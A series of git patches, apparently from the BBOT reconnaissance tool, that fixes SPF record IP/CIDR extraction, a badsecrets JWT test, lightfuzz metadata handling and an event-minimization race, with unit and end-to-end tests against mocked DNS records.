"https://files.pythonhosted.org/packages/05/ef/ff38abffe3c5126da0b4f31471bc6df2e38f4f532a65941a1a8092cddb4f/yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc", size = 2478391, upload-time = "2025-05-27T14:14:27.802Z" }, + { url = "https://files.pythonhosted.org/packages/69/97/638f0f6920250dd4cc202f05d2b931c4aeb8ea916ae185cd15b9dacf9ae4/yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84", size = 209304, upload-time = "2025-05-27T14:14:29.663Z" }, + { url = "https://files.pythonhosted.org/packages/2a/08/e9396374b8d4348f71db28dabbcbde21ceb0e68c604a4de82ab4f1c286e9/yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a", size = 2242098, upload-time = "2025-05-27T14:14:31.001Z" }, + { url = "https://files.pythonhosted.org/packages/58/fa/b159db2afedef12d5de32b6eb7c087a78c29dc51fc5111475bbd96759744/yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd", size = 2324289, upload-time = "2025-05-27T14:14:32.852Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1e/8846d6c37e3cc5328ac90d888ac60599ed62f1ffcb7d68054ad60954df4a/yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3", size = 2329563, upload-time = "2025-05-27T14:14:34.758Z" }, + { url = "https://files.pythonhosted.org/packages/35/db/d6de595384e357366a8e7832876e5d9be56629e29e12d2a9325cc652e855/yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678", size = 2947661, upload-time = "2025-05-27T14:14:37.419Z" }, + { url = "https://files.pythonhosted.org/packages/b9/26/35d67095b0b000315545c59b2826166371d005f9815ca6c7c79a87e6c4cc/yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc", size = 2417932, upload-time = "2025-05-27T14:14:40.402Z" }, + { url = "https://files.pythonhosted.org/packages/8f/28/760d114cea3f160e3f862d747208a09150974a668a49c0cee23a943006c4/yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df", size = 2638058, upload-time = "2025-05-27T14:14:42.141Z" }, + { url = "https://files.pythonhosted.org/packages/74/9d/e208dd3ffc38a163d18476d2f758c24de8ece67c9d59c654a6b5b400fd96/yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce", size = 1447300, upload-time = "2025-05-27T14:14:44.091Z" }, + { url = "https://files.pythonhosted.org/packages/85/ad/23ed18900f6024d5c1de567768c12a53c5759ac90d08624c87c816cd7249/yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b", size = 1825566, upload-time = "2025-05-27T14:14:45.879Z" }, + { url = "https://files.pythonhosted.org/packages/5a/cc/deaf10b6b31ee81842176affce79d57c3b6df50e894cf6cdbb1f0eb12af2/yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace", size = 2471771, upload-time = "2025-05-27T14:14:47.381Z" }, + { url = "https://files.pythonhosted.org/packages/b1/47/9227c56450be00db6a3a50ccf88ba201945ae14a34b80b3aae4607954159/yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c", size = 208991, upload-time = "2025-05-27T14:14:48.832Z" }, + { url = "https://files.pythonhosted.org/packages/5b/0d/1f2e054f7ddf9fd4c873fccf63a08f2647b205398e11ea75cf44c161e702/yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2", size = 2478413, upload-time = "2025-05-27T14:14:50.205Z" }, + { url = "https://files.pythonhosted.org/packages/10/ab/96e2d06c909ba07941d6d303f23624e46751a54d6fd358069275f982168c/yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89", size = 209401, upload-time = "2025-05-27T14:14:52.017Z" }, + { url = "https://files.pythonhosted.org/packages/df/7d/e51ecb0db87094976904a52eb521e3faf9c18f7c889b9d5cf996ae3bb680/yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7", size = 2245326, upload-time = "2025-05-27T14:14:53.338Z" }, + { url = "https://files.pythonhosted.org/packages/4c/5e/fe93d8609b8470148ebbae111f209c6f208bb834cee64046fce0532fcc70/yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd", size = 2327041, upload-time = "2025-05-27T14:14:54.915Z" }, + { url = "https://files.pythonhosted.org/packages/52/06/104c4daa22e34a7edb49051798126c37f6280d4f1ea7e8888b043314e72d/yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24", size = 2332343, upload-time = "2025-05-27T14:14:56.424Z" }, + { url = "https://files.pythonhosted.org/packages/cd/38/4b788b8fe15faca08e4a52c0b3dc8787953115ce1811e7bf9439914b6a5b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e", size = 2949346, upload-time = "2025-05-27T14:14:57.924Z" }, + { url = "https://files.pythonhosted.org/packages/53/3a/c1d97172aa9672f381df78b4d3a9f60378f35431ff48f4a6c45037057e07/yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf", size = 2421057, upload-time = "2025-05-27T14:15:00.118Z" }, + { url = "https://files.pythonhosted.org/packages/ba/cc/c6366d6d047f73594badd5444f6a32501e8b20ab1a7124837d305c08b42b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6", size = 2639871, upload-time = "2025-05-27T14:15:02.63Z" }, + { url = "https://files.pythonhosted.org/packages/e6/5c/edacbd11db432ac04a37c9e3a7c569986256d9659d1859c6f828268dfeed/yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77", size = 1447403, upload-time = "2025-05-27T14:15:04.193Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e1/f6a72c155f3241360da890c218911d09bf63329eca9cfa1af64b1498339b/yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47", size = 1825743, upload-time = "2025-05-27T14:15:05.678Z" }, + { url = "https://files.pythonhosted.org/packages/74/7f/9bf4864fee85f86302d78d373c93793419c080222b5e18badadebb959263/yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4", size = 2471811, upload-time = "2025-05-27T14:15:07.55Z" }, + { url = "https://files.pythonhosted.org/packages/44/58/dca36144c44b0613dbc39c70cc32ee0fc9db1ba9e5fa15f55657183f4229/yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b", size = 209044, upload-time = "2025-05-27T14:15:09.142Z" }, + { url = "https://files.pythonhosted.org/packages/8b/4c/997be6898cdda211cb601ae2af40a2dbd89a48ba9889168ddd3993636e97/yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c", size = 2478416, upload-time = "2025-05-27T14:15:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/b6/29/91d5911d6decdd8a96bb891cacd8922569480ff1d4b47e7947b5dfc7f1d6/yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c", size = 209441, upload-time = "2025-05-27T14:15:12.173Z" }, + { url = "https://files.pythonhosted.org/packages/87/9b/e21f534f33062f2e5f6dceec3cb4918f4923264b1609652adc0c83fe2bde/yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a", size = 2245135, upload-time = "2025-05-27T14:15:13.569Z" }, + { url = "https://files.pythonhosted.org/packages/70/8e/3618d2473f1e97f3f91d13af5b1ed26381c74444f6cdebb849eb855b21ca/yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543", size = 2326864, upload-time = "2025-05-27T14:15:15.321Z" }, + { url = "https://files.pythonhosted.org/packages/99/ee/21477d4c83e7f267ff7d61a518eb1b2d3eb7877031c5c07bd1dc0a54eb95/yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71", size = 2331976, upload-time = "2025-05-27T14:15:17.138Z" }, + { url = "https://files.pythonhosted.org/packages/9f/5d/2680831aa43d181a0cc023ba89132ff6f03a0532f220cde27bccd60d54e2/yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f", size = 2949066, upload-time = "2025-05-27T14:15:18.822Z" }, + { url = "https://files.pythonhosted.org/packages/9e/76/e89ec354731b1872462fa9cfdfc6d4751c272b3f43fa55523a8f0fcdd48a/yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47", size = 2420758, upload-time = "2025-05-27T14:15:20.505Z" }, + { url = "https://files.pythonhosted.org/packages/0c/28/9499649cb2cb42592c13ca6a15163e0cbf132c2974394de171aa5f8b49e4/yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78", size = 2639628, upload-time = "2025-05-27T14:15:22.142Z" }, + { url = "https://files.pythonhosted.org/packages/ac/37/e8f2b9a2287070f39fa6a5afbcf1ed6762f60ab3b1fb08018732838ccc25/yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0", size = 1447395, upload-time = "2025-05-27T14:15:25.237Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a0/40b0291c8b24d13daf0e26538c9f3a0d843c38c6446dd17f36335bdd5b5f/yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829", size = 1825779, upload-time = "2025-05-27T14:15:26.802Z" }, ] [[package]] From f0f2a4bd6d24f7148d74616dfc8539a1e8f26a92 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 21:48:56 -0400 Subject: [PATCH 774/912] Fix JWTIdentifyOnly test to scope assertion to badsecrets module --- .../test_step_2/module_tests/test_module_badsecrets.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index 2e42521e8d..f0c88b49cd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -177,10 +177,10 @@ def check(self, module_test, events): for e in events ), "Vulnerable JWT SecretFound finding was not emitted" - # Safe JWT (IdentifyOnly) should NOT produce any FINDING - assert not any(e.type == "FINDING" and self.safe_jwt in e.data["description"] for e in events), ( - "JWT IdentifyOnly finding should have been suppressed" - ) + # Safe JWT should NOT produce a badsecrets FINDING + assert not any( + e.type == "FINDING" and e.module == "badsecrets" and self.safe_jwt in e.data["description"] for e in events + ), "JWT IdentifyOnly finding should have been suppressed" class TestBadSecrets_customsecrets(TestBadSecrets): From 571ee7582469fb92a82dfccbfa93c5cb0838c847 Mon Sep 17 00:00:00 2001 From: alibhutto69 <92374187+thunderstornX@users.noreply.github.com> Date: Wed, 10 Jun 2026 15:32:44 +0500 Subject: [PATCH 775/912] Gate SPF IP extraction on v=spf1, fix silently dropped CIDR children The SPF mechanism prefix regex moves to regexes.py (compiled with the regex package like the rest). IP/CIDR extraction now only runs on records containing v=spf1, and SPF macro tokens are skipped. DNS child events no longer hardcode DNS_NAME: an IP was coerced anyway, but a CIDR failed validation and was silently dropped, so the type is now auto-detected (DNS_NAME / IP_ADDRESS / IP_RANGE). Adds an end-to-end test from TXT record to emitted IP_ADDRESS / IP_RANGE events, plus macro and gating coverage. --- bbot/core/helpers/dns/helpers.py | 64 ++++++++++++++++++----------- bbot/core/helpers/regexes.py | 3 ++ bbot/modules/internal/dnsresolve.py | 5 ++- bbot/test/test_step_1/test_dns.py | 46 ++++++++++++++++++++- 4 files changed, 90 insertions(+), 28 deletions(-) diff --git a/bbot/core/helpers/dns/helpers.py b/bbot/core/helpers/dns/helpers.py index 5ffa230736..d741ea3f36 100644 --- a/bbot/core/helpers/dns/helpers.py +++ b/bbot/core/helpers/dns/helpers.py @@ -1,15 +1,16 @@ import logging -import re -from bbot.core.helpers.regexes import dns_name_extraction_regex, ip_range_regexes, ipv4_regex, ipv6_regex +from bbot.core.helpers.regexes import ( + dns_name_extraction_regex, + ip_range_regexes, + ipv4_regex, + ipv6_regex, + spf_ip_mechanism_regex, +) from bbot.core.helpers.misc import clean_dns_record log = logging.getLogger("bbot.core.helpers.dns") -# leading SPF qualifier (+-~?) and ip4:/ip6: mechanism prefix; stripped before IP -# matching so the "ip6:" in e.g. "ip6:2001:db8::/48" doesn't pollute the match -_spf_ip_mechanism_prefix = re.compile(r"^[+\-~?]?(?:ip[46]:)?", re.I) - # Default rdtypes BBOT cares about during recursive resolution all_rdtypes = ["A", "AAAA", "SRV", "MX", "NS", "SOA", "CNAME", "TXT"] @@ -21,10 +22,11 @@ def extract_targets(record): For structured rdata (A/AAAA/CNAME/NS/PTR/MX/SOA/SRV/etc), blastdns has already extracted the embedded names in Rust -- we just hand those back. - For TXT records we additionally apply hostname/IP/CIDR regexes to the text - content, since SPF / DKIM / similar TXT payloads commonly embed hostnames, and - SPF in particular embeds IPs and CIDR ranges (ip4:/ip6: mechanisms) worth - pivoting on. That regex extraction is BBOT-specific and stays here. + For TXT records we additionally apply a hostname regex to the text content, + since SPF / DKIM / similar TXT payloads commonly embed hostnames. SPF records + (v=spf1) also get the IPs and CIDR ranges from their ip4:/ip6: mechanisms + extracted; SPF macros are skipped since they are evaluation-time templates, + not literal targets. That regex extraction is BBOT-specific and stays here. """ results = set() for rdtype, host in record.extract_targets(): @@ -32,23 +34,35 @@ def extract_targets(record): if cleaned: results.add((rdtype, cleaned)) - # TXT: pull additional targets out of the free-form text content, token by token + # TXT: pull additional targets out of the free-form text content is_txt = "TXT" in record.rdata if is_txt: - for token in record.to_text().split(): - # strip a leading SPF qualifier and ip4:/ip6: mechanism prefix, if any - candidate = _spf_ip_mechanism_prefix.sub("", token) - # CIDR range, e.g. SPF "ip4:1.2.3.0/24" -> IP_NETWORK - if any(regex.fullmatch(candidate) for regex in ip_range_regexes): - results.add(("TXT", candidate)) - continue - # individual IP, e.g. SPF "ip4:1.2.3.4" -> IP_ADDRESS - if ipv4_regex.fullmatch(candidate) or ipv6_regex.fullmatch(candidate): - results.add(("TXT", candidate)) - continue - # hostnames, e.g. SPF "include:cloudprovider.com", DKIM selectors, etc. - for match in dns_name_extraction_regex.finditer(token): - cleaned = clean_dns_record(token[match.start() : match.end()]) + text = record.to_text() + if "v=spf1" in text.lower(): + # SPF (RFC 7208): ip4:/ip6: mechanisms embed IPs and CIDR ranges + for token in text.split(): + # macros (e.g. "exists:%{i}.evilcorp.com") are evaluation-time templates + if "%" in token: + continue + mechanism = spf_ip_mechanism_regex.match(token) + if mechanism: + value = token[mechanism.end() :] + if ( + any(r.fullmatch(value) for r in ip_range_regexes) + or ipv4_regex.fullmatch(value) + or ipv6_regex.fullmatch(value) + ): + results.add(("TXT", value)) + continue + # hostnames, e.g. "include:cloudprovider.com", "redirect=_spf.example.com" + for match in dns_name_extraction_regex.finditer(token): + cleaned = clean_dns_record(token[match.start() : match.end()]) + if cleaned: + results.add(("TXT", cleaned)) + else: + # non-SPF TXT (DKIM, verification strings, etc.): hostnames only + for match in dns_name_extraction_regex.finditer(text): + cleaned = clean_dns_record(text[match.start() : match.end()]) if cleaned: results.add(("TXT", cleaned)) diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py index f50ea2519c..b953b9bcc0 100644 --- a/bbot/core/helpers/regexes.py +++ b/bbot/core/helpers/regexes.py @@ -53,6 +53,9 @@ ) ip_range_regexes = [re.compile(r, re.I) for r in _ip_range_regexes] +# SPF qualifier + ip4:/ip6: mechanism prefix, e.g. the "ip4:" in "ip4:1.2.3.0/24" (RFC 7208) +spf_ip_mechanism_regex = re.compile(r"^[+\-~?]?ip[46]:", re.I) + # all dns names including IP addresses and bare hostnames (e.g. "localhost") _dns_name_regex = r"(?:\w(?:[\w-]{0,100}\w)?\.?)+(?:[xX][nN]--)?[^\W_]{1,63}\.?" # dns names with periods (e.g. "www.example.com") diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index ba3bcb517b..f4c8fbcf2f 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -11,7 +11,7 @@ class DNSResolve(BaseInterceptModule): watched_events = ["*"] - produced_events = ["DNS_NAME", "IP_ADDRESS", "RAW_DNS_RECORD"] + produced_events = ["DNS_NAME", "IP_ADDRESS", "IP_RANGE", "RAW_DNS_RECORD"] meta = {"description": "Perform DNS resolution", "created_date": "2022-04-08", "author": "@TheTechromancer"} _priority = 1 scope_distance_modifier = None @@ -203,7 +203,8 @@ async def emit_dns_children(self, event): try: child_event = self.scan.make_event( child_host, - "DNS_NAME", + # auto-detect the type; SPF TXT children can be IP_ADDRESS / IP_RANGE + None, module=module, parent=event, context=f"{rdtype} record for {event.host} contains {{event.type}}: {{event.host}}", diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 568981d148..d20429774b 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -78,7 +78,12 @@ async def test_extract_targets_spf_ips(bbot_scanner): await scan.helpers.dns._mock_dns( { "evilcorp.com": { - "TXT": ['"v=spf1 ip4:1.2.3.4 ip4:5.6.7.0/24 ip6:2001:db8::/48 include:cloudprovider.com -all"'], + "TXT": [ + '"v=spf1 ip4:1.2.3.4 ip4:5.6.7.0/24 ip6:2001:db8::/48 include:cloudprovider.com exists:%{i}.sniff.evilcorp.com -all"' + ], + }, + "nospf.evilcorp.com": { + "TXT": ['"google-site-verification=abc123 contact admin.evilcorp.com ip4:9.9.9.0/24"'], }, } ) @@ -92,6 +97,45 @@ async def test_extract_targets_spf_ips(bbot_scanner): assert "2001:db8::/48" in hosts, "IPv6 CIDR from ip6: mechanism not extracted" assert "cloudprovider.com" in hosts, "include: hostname not extracted" assert "5.6.7.0" not in hosts, "bare network address must not be emitted alongside its CIDR" + assert not any("sniff" in host or "%" in host for host in hosts), "SPF macro mechanisms must be skipped" + + # non-SPF TXT records are not eligible for IP/CIDR extraction, only hostnames + response = await scan.helpers.dns.resolve_full("nospf.evilcorp.com", "TXT") + extracted = set() + for ans in response.response.answers: + extracted.update(extract_targets(ans)) + hosts = {host for _, host in extracted} + assert "admin.evilcorp.com" in hosts, "hostname extraction from non-SPF TXT must be preserved" + assert "9.9.9.0/24" not in hosts, "CIDR extraction must be gated on v=spf1" + + +@pytest.mark.asyncio +async def test_extract_targets_spf_ips_end_to_end(bbot_scanner): + """SPF TXT record all the way through the scan: IPs/CIDRs emitted as IP_ADDRESS / IP_RANGE events.""" + scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}, "scope": {"report_distance": 1}}) + await scan._prep() + await scan.helpers.dns._mock_dns( + { + "evilcorp.com": { + "TXT": [ + '"v=spf1 ip4:1.2.3.4 ip4:5.6.7.0/24 ip6:2001:db8::/48 include:cloudprovider.com exists:%{i}.sniff.evilcorp.com -all"' + ], + }, + "cloudprovider.com": {"A": ["4.3.2.1"]}, + } + ) + events = [e async for e in scan.async_start()] + ip_addresses = {e.data for e in events if e.type == "IP_ADDRESS"} + ip_ranges = {e.data for e in events if e.type == "IP_RANGE"} + dns_names = {e.data for e in events if e.type == "DNS_NAME"} + assert "1.2.3.4" in ip_addresses, "SPF ip4: address was not emitted as an IP_ADDRESS event" + assert "5.6.7.0/24" in ip_ranges, "SPF ip4: CIDR was not emitted as an IP_RANGE event" + assert "2001:db8::/48" in ip_ranges, "SPF ip6: CIDR was not emitted as an IP_RANGE event" + assert "cloudprovider.com" in dns_names, "SPF include: hostname was not emitted as a DNS_NAME event" + assert not any("sniff" in str(e.data) for e in events if e.type in ("DNS_NAME", "IP_ADDRESS", "IP_RANGE")), ( + "SPF macro mechanism must not produce DNS_NAME/IP events" + ) + await scan._cleanup() @pytest.mark.asyncio From 5524da216d0fc36efed9e79730e7556092a7911f Mon Sep 17 00:00:00 2001 From: alibhutto69 <92374187+thunderstornX@users.noreply.github.com> Date: Thu, 11 Jun 2026 00:51:52 +0500 Subject: [PATCH 776/912] Use subset asserts in SPF tests to satisfy CodeQL CodeQL's incomplete-url-substring-sanitization query flags hostname string literals in membership asserts; these are exact set-membership checks, so switch the three flagged asserts to subset comparisons. --- bbot/test/test_step_1/test_dns.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index d20429774b..55a964e253 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -95,7 +95,7 @@ async def test_extract_targets_spf_ips(bbot_scanner): assert "1.2.3.4" in hosts, "single IPv4 from ip4: mechanism not extracted" assert "5.6.7.0/24" in hosts, "IPv4 CIDR from ip4: mechanism not extracted" assert "2001:db8::/48" in hosts, "IPv6 CIDR from ip6: mechanism not extracted" - assert "cloudprovider.com" in hosts, "include: hostname not extracted" + assert {"cloudprovider.com"} <= hosts, "include: hostname not extracted" assert "5.6.7.0" not in hosts, "bare network address must not be emitted alongside its CIDR" assert not any("sniff" in host or "%" in host for host in hosts), "SPF macro mechanisms must be skipped" @@ -105,7 +105,7 @@ async def test_extract_targets_spf_ips(bbot_scanner): for ans in response.response.answers: extracted.update(extract_targets(ans)) hosts = {host for _, host in extracted} - assert "admin.evilcorp.com" in hosts, "hostname extraction from non-SPF TXT must be preserved" + assert {"admin.evilcorp.com"} <= hosts, "hostname extraction from non-SPF TXT must be preserved" assert "9.9.9.0/24" not in hosts, "CIDR extraction must be gated on v=spf1" @@ -131,7 +131,7 @@ async def test_extract_targets_spf_ips_end_to_end(bbot_scanner): assert "1.2.3.4" in ip_addresses, "SPF ip4: address was not emitted as an IP_ADDRESS event" assert "5.6.7.0/24" in ip_ranges, "SPF ip4: CIDR was not emitted as an IP_RANGE event" assert "2001:db8::/48" in ip_ranges, "SPF ip6: CIDR was not emitted as an IP_RANGE event" - assert "cloudprovider.com" in dns_names, "SPF include: hostname was not emitted as a DNS_NAME event" + assert {"cloudprovider.com"} <= dns_names, "SPF include: hostname was not emitted as a DNS_NAME event" assert not any("sniff" in str(e.data) for e in events if e.type in ("DNS_NAME", "IP_ADDRESS", "IP_RANGE")), ( "SPF macro mechanism must not produce DNS_NAME/IP events" ) From c487305ca0c18b2f953a7b10a4804612d1d1d2a0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Jun 2026 10:28:24 -0400 Subject: [PATCH 777/912] Fix _minimize() race in forward_event stripping WEB_PARAMETER fields forward_event() distributes events to modules via sequential awaits. Between iterations, a fast module can process the event and call _minimize(), dropping _module_consumers to 0 and stripping fields like original_value before slower modules are even queued. Add a sentinel (+1 before the loop, _minimize() after) so the counter never transiently hits 0 during distribution. Also use defensive .get() in lightfuzz metadata() as a belt-and-suspenders guard. --- bbot/modules/lightfuzz/submodules/base.py | 7 ++- bbot/scanner/manager.py | 10 ++-- bbot/test/test_step_1/test_events.py | 58 +++++++++++++++++++++++ 3 files changed, 68 insertions(+), 7 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 2c0c808cf2..cf07d30459 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -358,10 +358,9 @@ def conversion_note(self): def metadata(self): metadata_string = f"Parameter: [{self.event.data['name']}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}" - if self.event.data["original_value"] != "" and self.event.data["original_value"] is not None: - metadata_string += ( - f" Original Value: [{self.lightfuzz.helpers.truncate_string(self.event.data['original_value'], 200)}]" - ) + original_value = self.event.data.get("original_value") + if original_value is not None and original_value != "": + metadata_string += f" Original Value: [{self.lightfuzz.helpers.truncate_string(original_value, 200)}]" # Surface additional_params for param types where they're needed to reproduce findings if self.event.data["type"] in ("POSTPARAM", "BODYJSON", "HEADER", "COOKIE"): additional_params = self.event.data.get("additional_params", {}) diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 38fe5ae793..a3e4f7c992 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -271,6 +271,11 @@ async def forward_event(self, event, kwargs): if -1 < event.scope_distance < 1: self.scan.word_cloud.absorb_event(event) + # Hold a sentinel on _module_consumers during distribution so it + # never transiently hits 0 between sequential queue_event() awaits + # (which would let a fast module's _minimize() strip fields that + # slower modules still need). + event._module_consumers += 1 for module in self.scan.modules.values(): # don't distribute events to intercept modules if module._intercept: @@ -282,6 +287,5 @@ async def forward_event(self, event, kwargs): continue await module.queue_event(event) - # if no module accepted this event, minimize it now - if event._module_consumers <= 0: - event._minimize() + # release the sentinel; _minimize() decrements and strips if count hits 0 + event._minimize() diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index fdad0d4e10..ef259d1e16 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -1325,3 +1325,61 @@ async def test_host_metadata(): assert j4["data_json"]["status_code"] == 200 await scan._cleanup() + + +@pytest.mark.asyncio +async def test_web_parameter_minimize_sentinel(): + """Regression: forward_event distributes events via sequential awaits. + A fast module can finish and _minimize() (dropping _module_consumers + to 0, stripping original_value) before slower modules are queued. + The sentinel hold in forward_event prevents this. + + We reproduce the race deterministically by patching queue_event to + call _minimize() immediately after queueing (simulating the worker + finishing before the next module is queued). + """ + scan = Scanner("http://example.com", modules=["hunt"]) + await scan._prep() + + data = { + "host": "example.com", + "type": "COOKIE", + "name": "session", + "original_value": "abc123", + "url": "https://example.com/", + "description": "Set-Cookie Assigned Cookie [session]", + "additional_params": {}, + } + event = scan.make_event(data, "WEB_PARAMETER", parent=scan.root_event) + + # Patch every non-intercept module EXCEPT hunt: after queueing, + # immediately _minimize() as if the worker finished instantly. + # hunt is left un-patched -- it represents the slow module that + # still needs original_value when it eventually processes. + for module in scan.modules.values(): + if module._intercept or module.name == "hunt": + continue + orig_queue = module.queue_event + + async def _instant_finish(ev, _orig=orig_queue): + before = ev._module_consumers + await _orig(ev) + if ev._module_consumers > before: + ev._minimize() + + module.queue_event = _instant_finish + + # Reorder modules so fast (patched) output modules are iterated + # before hunt. This guarantees the race: a fast module finishes + # and _minimize()s before hunt has been queued. + hunt_mod = scan.modules.pop("hunt") + scan.modules["hunt"] = hunt_mod + + await scan.egress_module.forward_event(event, {}) + + # hunt must have accepted the event and still be holding it + assert event._module_consumers >= 1, "no module accepted the event" + # The sentinel must have prevented premature stripping + assert "original_value" in event.data, "original_value stripped during distribution -- sentinel missing" + + await scan._cleanup() From 